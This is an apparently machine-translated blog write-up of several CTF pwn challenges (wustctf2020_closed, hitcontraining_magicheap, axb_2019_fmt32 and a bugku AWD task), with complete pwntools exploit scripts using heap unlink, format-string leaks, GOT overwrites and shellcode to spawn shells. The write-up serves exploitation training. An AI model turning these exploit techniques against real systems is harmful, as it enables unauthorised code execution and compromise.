buuctf pwn(wustctf2020_closed)(hitcontraining_magicheap)(axb_2019_fmt32)

wustctf2020_closed

insert image description here
insert image description here
What is the function of the close() function? It is found that 1 is normal output, 2 is error output, and then the shell is returned, then we directly redirect the output, enter exec 1>&0 and then we can get the shell

hitcontraining_magicheap

Checksec
insert image description here
to start auditing the code
Menu:
insert image description here
1. Apply for a heap block, enter the size of the heap block, fill in the content, and put the applied heap block pointer into the bss
insert image description here

2. Edit the heap block, find the corresponding heap block according to the pointer in the bss section, then enter the size, and then fill in the content. If the size of the original input heap block content is not detected, then there is a heap overflow here.

insert image description here
3. Release the heap block, the pointer is set to zero, so there is no uaf. It
insert image description here
is very similar to a previous question. This question also has a backdoor function, so
this question can be the same as the previous question. Use unlink to modify the got address of free to The plt address of the system
or choose the backdoor function, and change the magic value in the bss section to a number larger than 0x1305. The
insert image description here
insert image description here
script is as follows:

from pwn import *
context(log_level='debug',os='linux',arch='i386')
#p=process("./pwn25")
elf=ELF("./pwn25")
p=remote("node4.buuoj.cn",25810)
bss=0x6020A0
heaparray_addr=0x6020C0
def bug():
	gdb.attach(p)
	pause()
def add(size,c):
	p.recvuntil("Your choice :")
	p.sendline(str(1))
	p.sendlineafter(b"Size of Heap : ",str(size))
	p.sendafter(b"Content of heap:",c)
def edit(i,size,c):
	p.recvuntil("Your choice :")
	p.sendline(str(2))
	p.sendlineafter(b"Index :",str(i))
	p.sendlineafter(b"Size of Heap : ",str(size))
	p.sendafter(b"Content of heap : ",c)
def free(i):
	p.recvuntil("Your choice :")
	p.sendline(str(3))
	p.sendlineafter(b"Index :",str(i))

add(0x90,b'a'*8)
add(0x90,b'a'*8)
add(0x20,b'/bin/sh\x00')
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
free(1)
#走后门
''' 
edit(0,0x20,p64(bss)*4)   
edit(0,0x8,p64(0x1305+1))
'''
#修改got表
edit(0,0x20,p64(elf.got['free'])*4)
edit(0,0x8,p64(elf.plt['system']))
free(2)

p.interactive()

axb_2019_fmt32

Checksec
insert image description here
Look at the program logic
insert image description here

The program has an alarm clock function, and has obvious format string loopholes, and can use the format string loopholes infinitely. I originally wanted to use my previous solution to solve it directly, but encountered some problems (described below), and The got table of this topic can be written, so it is better to type the got table honestly

There is no system function in the program, so first leak libc_base and then get the address of the system function,
then change the got table of strlen to the address of the system function, the idea is clear, ok to start

insert image description here

It is found that the 4 A are separated, so you can choose to fill one at the beginning (the newly learned method) as shown in the figure below:
insert image description here
Now the four A are together, count it, the offset is 8,
the first leak of libc

p.recvuntil("Please tell me:")
pay=b'%151$p%2$p'
#bug()
p.send(pay)
p.recvuntil("Repeater:")
libc_base=int(p.recv(10),16)-245-libc.sym['__libc_start_main']
print(hex(libc_base))
system=libc_base+libc.sym['system']

Change the got table of strlen to the system address for the second time

p.recvuntil("Please tell me:")
pay=b'a'+fmtstr_payload(8,{
    
    elf.got['strlen']:system},write_size='short',numbwritten=0xa)
#bug()
p.send(pay)

There is numbwritten=0xa here, which means the number of characters that have been output. I learned this thing when I first learned it, but I forgot it after not using it for a long time, so record that if you don’t add
this parameter, the program will report an error (stuck It’s been a long time since I discovered the problem)
Let’s use the local libc here. The remote libc is different, and the leaked libc_start_main+x is also different, so I won’t look at the remote one anymore. The script is as follows
:

from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#p=remote("node4.buuoj.cn",29714)
p=process("./pwn26")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn26")
def bug():
	gdb.attach(p)
	pause()
	
p.recvuntil("Please tell me:")
pay=b'%151$p%2$p'
#bug()
p.send(pay)
p.recvuntil("Repeater:")
libc_base=int(p.recv(10),16)-245-libc.sym['__libc_start_main']
print(hex(libc_base))
stack=int(p.recv(10),16)-35
print(hex(stack))
system=libc_base+libc.sym['system']

p.recvuntil("Please tell me:")
pay=b'a'+fmtstr_payload(8,{
    
    elf.got['strlen']:system},write_size='short',numbwritten=0xa)
#bug()
p.send(pay)
pause() #防止两次输入压到一块输入
p.sendline(b';/bin/sh\x00')#这里由于输入的内容会被加入其他字符,所以要有 ; 隔开,这样才能getshell

p.interactive()

Here is a summary of the problems I encountered: 1.
The meaning of the parameter numbwritten=0 of fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') and its use 2.
When the offset is not in a stack address, you can Fill characters to facilitate finding the parameter offset (b filled above)
3. When there is character interference in front of /bin/sh, you can choose to use ; to separate

bugku awd s2 -17

I've been putting my mind on this topic all the time.

Then it was not until a few minutes before the end of the training match that the problem was solved
insert image description here

insert image description here

insert image description here
The vulnerability getshell can be fully exploited here, but I have been thinking about the following code.
Let’s talk about the correct idea first
. Read the shellcode through v2 and leak the stack address to find the offset to get the address of the shellcode,
insert image description here
and then read it in to overwrite the dest The pointer is the address of the free got table, and then strcpy overwrites the address of the free got table with the address of the shllcode
insert image description here
and then through the following free, the getshell
script is as follows:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",26715)
p=process("./pwn")
elf=ELF("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
free_got=elf.got['free']

def bug():
	gdb.attach(p)
	pause()

def add(i,con):
	p.recvuntil("your choice :")
	p.sendline(str(1))
	p.sendlineafter("how long?",str(i))
	p.sendline("give me more money : ",con)

def free():
	p.recvuntil("your choice :")
	p.sendline(str(2))

p.recvuntil("who are u?\n")
pay=(asm(shellcraft.sh())).ljust(0x30,b'\x90')
p.send(pay)
stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x50
print(hex(stack))

p.recvuntil("give me your id ~~?\n")
p.sendline(b'1')
p.recvuntil("give me money~\n")
pay=p64(stack)+b'\x00'*8+p64(free_got)*6   #通过\x00绕过strcpy
bug()
p.send(pay)
free()

p.interactive()

Then let me talk about the place where I was misled.
Let nbytes=-1, you can read indefinitely, causing heap overflow, but I overlooked one point, malloc (nbytes), here cannot be -1 (I didn’t pay attention at the time) and
insert image description here
then I have been thinking about how to make this function return a value of -1.
insert image description here
Here it has been filtered (it should have been filtered. If anyone finds that it can be bypassed, you can give me some pointers).
This awd training game taught me that, to Carefully audit the code, and cannot miss any loopholes.

Guess you like

Origin blog.csdn.net/cainiao78777/article/details/130162069